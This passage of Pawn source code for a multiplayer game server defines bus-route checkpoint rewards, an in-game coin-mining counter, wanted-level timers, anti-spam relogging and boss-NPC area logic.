GivePlayerKolang(playerid,gun[1][playerid],ammoo[1][playerid]);
GivePlayerKolang(playerid,gun[2][playerid],ammoo[2][playerid]);
GivePlayerKolang(playerid,gun[3][playerid],ammoo[3][playerid]);
GivePlayerKolang(playerid,gun[4][playerid],ammoo[4][playerid]);
GivePlayerKolang(playerid,gun[5][playerid],ammoo[5][playerid]);
GivePlayerKolang(playerid,gun[6][playerid],ammoo[6][playerid]);
GivePlayerKolang(playerid,gun[7][playerid],ammoo[7][playerid]);
GivePlayerKolang(playerid,gun[8][playerid],ammoo[8][playerid]);
GivePlayerKolang(playerid,gun[9][playerid],ammoo[9][playerid]);
GivePlayerKolang(playerid,gun[10][playerid],ammoo[10][playerid]);
GivePlayerKolang(playerid,gun[11][playerid],ammoo[11][playerid]);
GivePlayerKolang(playerid,gun[12][playerid],ammoo[12][playerid]);
if(vehicledd[playerid] == 1) { PutPlayerInVehicle(playerid,VehicleIDD[playerid],1); vehicledd[playerid] = 0; }
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop2(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,2285.371826,-1662.898315,14.936391, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1202;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop3(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,2450.424804,-1448.213989,23.828125, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1203;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop4(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,2695.902832,-1661.408569,11.937602, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1204;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop5(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,2463.549804,330.016906,31.871097, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1205;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop6(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,2340.336181,113.618858,26.338420, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1206;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop7(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,1321.443481,238.963165,19.406250, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1207;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop8(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,204.882202,-1375.271118,49.474456, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1208;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop9(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,927.803588,-965.041687,38.253925, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1209;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop10(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,793.322753,-1093.177124,23.955106, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1210;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop11(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,1191.808837,-1356.988891,13.377698, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1211;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop12(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,1525.891235,-1630.682006,13.382812, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1212;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop13(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,1788.017333,-1735.934448,13.382812, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1213;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop14(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,2236.548095,-1753.222290,13.390602, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1214;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop15(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,2346.216064,-1476.802490,23.828125, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1215;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop16(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,1798.175048,-2070.627929,13.570152, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1216;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop17(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,1923.543457,2116.836914,10.728834, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1218;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop18(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,2118.590576,1941.035766,10.671875, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1219;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop19(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,1920.406616,1717.348022,10.671875, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1220;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop20(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,1727.924926,1531.290161,10.664346, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1221;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop21(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,1723.038818,1365.177490,10.499944, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1222;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop22(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,1545.306762,1136.974609,10.671875, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1223;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop23(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,1084.777221,1197.034790,10.671875, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1224;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop24(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,1074.901123,2057.075439,10.671875, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1225;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop25(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,168.761199,1156.248413,14.423420, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1226;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop26(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,1601.922119,1129.193847,10.671875, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1227;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop27(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,2134.760009,1369.082031,10.671875, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1228;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/
public busstop28(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,2556.691406,1308.975341,10.671875, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1229;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
/*----------------------------------------------------------------------------*/


public busstop29(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,1893.817626,2286.743164,10.820312, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1230;
format(string, sizeof(string), "You get $%i money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
forward CPTimer(playerid);
public CPTimer(playerid) {
CPT[playerid] = 0;
}
forward ReturnWantedTime(playerid);
public ReturnWantedTime(playerid)
{
new tmpMin;
new tmpSec;
new wanted = GetPlayerWantedLevel(playerid);
new BegirTime = WantedTimerEZ[playerid];
if(wanted >= 1)
{
  if(WantedTimerEZ[playerid] != 0)
  {
  //new H;
  //SinaConvert(WantedTimerEZ[playerid],H,WantedMin[playerid],WantedSec[playerid]);
  tmpMin = BegirTime / 60;
  tmpSec = BegirTime - (floatround(BegirTime / 60) * 60);
  WantedMin[playerid] = tmpMin;
  WantedSec[playerid] = tmpSec;
  }
}
return 1;
}
forward MineCoins(playerid);
public MineCoins(playerid)
{
if(ImMining[playerid]!=0&&AFK[playerid]==0)
{
if(PINFO[playerid][pPremiumAccount]==0)
{
if(PINFO[playerid][pMinedToday]>0.01){SCM(playerid, COLOR_LIGHTRED, "You mined coins maximum amount of you can today.");StopMining(playerid);}
if(PINFO[playerid][pCoins]>300){SCM(playerid, COLOR_LIGHTRED, "Your pocket is now full for mining coins.");StopMining(playerid);}
new Float:gain = randomFloatMinMax(0.000010, 0.000100);
PINFO[playerid][pCoins] += gain;
SaveKonFloat(playerid, "pCoins", PINFO[playerid][pCoins]);
PINFO[playerid][pMinedToday] += gain;
SaveKonFloat(playerid, "pMinedToday", PINFO[playerid][pMinedToday]);
IMined[playerid] += gain;
}
else if(PINFO[playerid][pPremiumAccount]!=0)
{
if(PINFO[playerid][pMinedToday]>0.02){SCM(playerid, COLOR_LIGHTRED, "You mined coins maximum amount of you can today.");StopMining(playerid);}
if(PINFO[playerid][pCoins]>500){SCM(playerid, COLOR_LIGHTRED, "Your pocket is now full for mining coins.");StopMining(playerid);}
new Float:gain = randomFloatMinMax(0.000100, 0.000200);
PINFO[playerid][pCoins] += gain
SaveKonFloat(playerid, "pCoins", PINFO[playerid][pCoins]);
PINFO[playerid][pMinedToday] += gain
SaveKonFloat(playerid, "pMinedToday", PINFO[playerid][pMinedToday]);
IMined[playerid] += gain;
}
else{}
}
}
/*
forward CheckMySpams(playerid);
public CheckMySpams(playerid)
{
new yomar[144];
if(MyCmdSpams[playerid] > MAX_SPAMCMDS)
{
if(PINFO[playerid][pAdmin] < 10)
{
format(yomar, sizeof(yomar), "{ffffff}Player %s(%i) spammed commands (Relogged)",RPName(playerid), playerid);
AdminWarn(yomar);
SCM(playerid, COLOR_SINAGHERMEZ, "You spammed. You will be reconnected.");
RelogPlayerDovvom[playerid] = SetTimerEx("Relogme2", 50, false, "i", playerid);
}
return 1;
}
MyCmdSpams[playerid] = 0;
return 1;
}
*/
forward AhmadZoghi(playerid);
public AhmadZoghi(playerid)
{
/*
if((OnRob[playerid] == true && BajjeToggle[playerid] == 1))
{
BajjeToggle[playerid] = 0;
TogglePlayerDynamicCP(playerid, bajje1, false);
TogglePlayerDynamicCP(playerid, bajje2, false);
TogglePlayerDynamicCP(playerid, bajje3, false);
TogglePlayerDynamicCP(playerid, bajje4, false);
TogglePlayerDynamicCP(playerid, bajje5, false);
}
if((OnRob[playerid] != true && BajjeToggle[playerid] == 0) && (OnCheckpoint[playerid]==0))
{
BajjeToggle[playerid] = 1;
TogglePlayerDynamicCP(playerid, bajje1, true);
TogglePlayerDynamicCP(playerid, bajje2, true);
TogglePlayerDynamicCP(playerid, bajje3, true);
TogglePlayerDynamicCP(playerid, bajje4, true);
TogglePlayerDynamicCP(playerid, bajje5, true);
}
*/
if(OnCheckpoint[playerid]==0 && BajjeToggle[playerid]==0)
{
BajjeToggle[playerid] = 1;
TogglePlayerDynamicCP(playerid, bajje1, true);
TogglePlayerDynamicCP(playerid, bajje2, true);
TogglePlayerDynamicCP(playerid, bajje3, true);
TogglePlayerDynamicCP(playerid, bajje4, true);
TogglePlayerDynamicCP(playerid, bajje5, true);
}
if(BajjeToggle[playerid] == 1 && (BetShopLock == 1 || OnCheckpoint[playerid]!=0))
{
BajjeToggle[playerid] = 0;
TogglePlayerDynamicCP(playerid, bajje1, false);
TogglePlayerDynamicCP(playerid, bajje2, false);
TogglePlayerDynamicCP(playerid, bajje3, false);
TogglePlayerDynamicCP(playerid, bajje4, false);
TogglePlayerDynamicCP(playerid, bajje5, false);
}
return 1;
}
forward CheckHalfTimer(playerid);
public CheckHalfTimer(playerid)
{
if(SafeOn==1&&!IsACop(playerid)&&SafeZoneCheck[playerid]==1&&OnWar[playerid]==9999&&GetPlayerWantedLevel(playerid)==0&&GetPlayerWeapon(playerid)!=46)SetPlayerArmedWeapon(playerid, 0);
if(PrisonOutWarn[playerid]>=3&&IsPlayerInAnyVehicle(playerid)&&ImInPrison[playerid]==1&&!IsAtjail(playerid)&&!IsACop(playerid)){SetVehicleHealth(GetPlayerVehicleID(playerid), 200);SCM(playerid, COLOR_LIGHTRED, "You didn't leave the Prison Area, your vehicle will be exploited.");}
if(IsPlayerInDynamicArea(playerid, BetShopArea))
{
if(BetShopLock!=1)
{
if(DoesPlayerHaveAnyWeapons(playerid))SetPlayerArmedWeapon(playerid, 0);
if(IsPlayerInAnyVehicle(playerid)){SCM(playerid, COLOR_LIGHTRED, "You can't enter to betshop with vehicle.");new Float:xs[3];GetPlayerPos(playerid, xs[0], xs[1], xs[2]);SetPlayerPos(playerid, xs[0], xs[1], xs[2]);}
}
else
{
SetPlayerPos(playerid, 2323.761474, -1981.959472, 13.558613);
SCM(playerid, COLOR_SINARANG, "The betshop is locked now. So you teleported in front of betshop's entrance door.");
}
}

return 1;
}
forward CheckOneSecond(playerid);
public CheckOneSecond(playerid)
{
if(UnAttachNasho[playerid]==1)UnAttachNasho[playerid]=0;
if(GunVIPx[playerid]!=0){GunVIPx[playerid]++;}
if(GunVIPx[playerid]>=80){GunVIPx[playerid]=0;}
if(HostageTime[playerid]!=0){HostageTime[playerid]++;}
if(HostageTime[playerid]>=300&&GetPlayerVehicleID(playerid)!=GetPlayerVehicleID(ManHostageAm[playerid])){HostageTime[playerid]=0;TogglePlayerControllable(playerid, 1);SCM(ManHostageAm[playerid], COLOR_SINAGHERMEZ, "Your hostage freed due to time.");SCM(playerid, COLOR_SINAGHERMEZ, "You freed from who took you as a hostage due to time.");ManHostageDaram[ManHostageAm[playerid]]=9999;ManHostageAm[playerid]=9999;HostageTime[playerid]=0;}
if(PrisonOutWarn[playerid]!=0&&IsPlayerInAnyVehicle(playerid)&&ImInPrison[playerid]==1&&!IsAtjail(playerid)&&!IsACop(playerid)){PrisonOutWarn[playerid]++;}
ConnectIPFl[playerid]=0;
new yomar[144];
if(MyCmdSpams[playerid] > MAX_SPAMCMDS)
{
if(PINFO[playerid][pAdmin] < 10)
{
format(yomar, sizeof(yomar), "{ffffff}Player %s(%i) spammed commands (Relogged)",RPName(playerid), playerid);
AdminWarn(yomar);
SCM(playerid, COLOR_SINAGHERMEZ, "You spammed. You will be reconnected.");
RelogPlayerDovvom[playerid] = SetTimerEx("Relogme2", 50, false, "i", playerid);
}
return 1;
}
MyCmdSpams[playerid] = 0;
new tmpMin;
new tmpSec;
new wanted = GetPlayerWantedLevel(playerid);
new BegirTime = WantedTimerEZ[playerid];
if(wanted >= 1)
{
  if(WantedTimerEZ[playerid] != 0)
  {
  //new H;
  //SinaConvert(WantedTimerEZ[playerid],H,WantedMin[playerid],WantedSec[playerid]);
  tmpMin = BegirTime / 60;
  tmpSec = BegirTime - (floatround(BegirTime / 60) * 60);
  WantedMin[playerid] = tmpMin;
  WantedSec[playerid] = tmpSec;
  }
}
ImDrived[playerid] = 0;
if((!IsPlayerSynced{playerid} && SyncCoolDown[playerid] == 0) || (Desync[playerid] && SyncCoolDown[playerid] == 0))
{
if(AFK[playerid] == 0 && AFKTime[playerid] < 70 && !InvalidClient[playerid])
{
if(DisableDWarning[playerid] != 1)
{
SyncCoolDown[playerid] = 1;
DeSyncCool[playerid] = SetTimerEx("DSyncCoolDown", 8000, false, "i", playerid);
DesyncCount[playerid]++;
}
}
}
if(OnCheckpoint[playerid]==0 && BajjeToggle[playerid]==0)
{
BajjeToggle[playerid] = 1;
TogglePlayerDynamicCP(playerid, bajje1, true);
TogglePlayerDynamicCP(playerid, bajje2, true);
TogglePlayerDynamicCP(playerid, bajje3, true);
TogglePlayerDynamicCP(playerid, bajje4, true);
TogglePlayerDynamicCP(playerid, bajje5, true);
}
if(BajjeToggle[playerid] == 1 && (BetShopLock == 1 || OnCheckpoint[playerid]!=0))
{
BajjeToggle[playerid] = 0;
TogglePlayerDynamicCP(playerid, bajje1, false);
TogglePlayerDynamicCP(playerid, bajje2, false);
TogglePlayerDynamicCP(playerid, bajje3, false);
TogglePlayerDynamicCP(playerid, bajje4, false);
TogglePlayerDynamicCP(playerid, bajje5, false);
}


new string[60];
  if(BossArea!=-1)
  {
    format(string,sizeof(string),"Health: %.2f",FCNPC_GetHealth(Boss));
    TextDrawSetString(Boss_TD[5],string);
  }
		if(BossTarget==playerid&&!IsPlayerInDynamicArea(playerid, BossArea))
		{
			FCNPC_StopAim(Boss);
			BossTarget=-1;
		}
		if(BossArea!=-1&&IsPlayerInAnyDynamicArea(playerid))
		{
			if(IsPlayerInDynamicArea(playerid,BossArea))
			{
				if(!BossTDShowed[playerid])ShowPlayerBossTD(playerid);
				new vehicleid=GetPlayerVehicleID(playerid);
				if(vehicleid!=0)
				{
					new Float:a,Float:x,Float:y;
					GetVehicleZAngle(vehicleid, a);
					x = 0.5 * floatsin(-(a+180), degrees);
					y = 0.5 * floatcos(-(a+180), degrees);
					SetVehicleVelocity(vehicleid, x, y, 0.7);
					SCM(playerid,COLOR_LIGHTRED,"Do not enter the airport area with a vehicle.");
				}
				else
				{
					if(!IsBossAsleep)CheckForAim(playerid);
					format(string,sizeof(string),"Points:_%i_]_Ranking:_%i",floatround(BossScore[playerid]),GetPlayerBossRank(playerid));
					PlayerTextDrawSetString(playerid,Boss_PTD[playerid],string);
				}
			}
			if(IsPlayerInDynamicArea(playerid,BossArea2))
			{
				if(!BossTDShowed[playerid])ShowPlayerBossTD(playerid);
				new Float:x,Float:y,Float:a;
				new vehicleid=GetPlayerVehicleID(playerid);
				if(vehicleid!=0)
				{
					GetVehicleZAngle(vehicleid, a);
					x = 0.5 * floatsin(-(a+180), degrees);
					y = 0.5 * floatcos(-(a+180), degrees);
					SetVehicleVelocity(vehicleid, x, y, 0.7);
				}
				else
				{
					GetPlayerFacingAngle(playerid, a);
					x = 0.5 * floatsin(-(a+180), degrees);
					y = 0.5 * floatcos(-(a+180), degrees);
					SetPlayerVelocity(playerid, x, y, 0.7);
				}
			}
		}
// ---



    if(GetPlayerWantedLevel(playerid) >= 1)
    {
	for(new b;b<Akharish;b++)
	{
	   if(IsPlayerConnected(b))
	   {
		  if(gTeam[b] == TEAM_COP)
		  {
		    if(OnDuty[b] == 1)
		    {
		      if(AFK[b] == 0)
		      {
			    if(ProxDetectorS(80,playerid,b)) {WantedKamKonTimerValid[playerid] = false; }
			    if(!ProxDetectorS(80,playerid,b)) {WantedKamKonTimerValid[playerid] = true; }
			  }
			}
		  }
	   }
	}
    if(WantedTimerEZ[playerid] != 0 && WantedKamKonTimerValid[playerid] == true && AFK[playerid] == 0)
    {
	new kalkalnakon[50];
    WantedTimerEZ[playerid]--;
	if(WantedTimerEZ[playerid] >= 61)
	{
	format(kalkalnakon , sizeof(kalkalnakon) , "W Time: %d Min", WantedMin[playerid]);
    PlayerTextDrawSetString(playerid, WantedTTD[playerid], kalkalnakon);
    }
	else {
	format(kalkalnakon , sizeof(kalkalnakon) , "W Time: %d Sec", WantedSec[playerid]);
    PlayerTextDrawSetString(playerid, WantedTTD[playerid], kalkalnakon);
	}
    }
	}
	if(WantedTimerEZ[playerid] == 1)
	{
	WantedeMan[playerid] = SetTimerEx("wantedemanebaw", 1000, 0, "i", playerid);
	}











	if(siyoma[playerid] == 0)
	{
	  if(PINFO[playerid][pAdmin] >= 1 && PINFO[playerid][pAdmin] < 5 && PINFO[playerid][pLeader] >= 1 && PINFO[playerid][pHelper] >= 1)
	  {
		 if(ASAR[playerid] == 1 && AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
			PlayerInfo[playerid][pActSecOver] += 1;
			SaveKonVal(playerid, "pActSecOver", PINFO[playerid][pActSecOver]);
			siyoma[playerid] = 1;
		 }
	  }
	  if(PINFO[playerid][pAdmin] >= 1 && PINFO[playerid][pAdmin] < 5 && PINFO[playerid][pLeader] == 0 && PINFO[playerid][pHelper] >= 1)
	  {
		 if(ASAR[playerid] == 1 && AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
			PlayerInfo[playerid][pActSecOver] += 1;
			SaveKonVal(playerid, "pActSecOver", PINFO[playerid][pActSecOver]);
			siyoma[playerid] = 1;
		 }
	  }
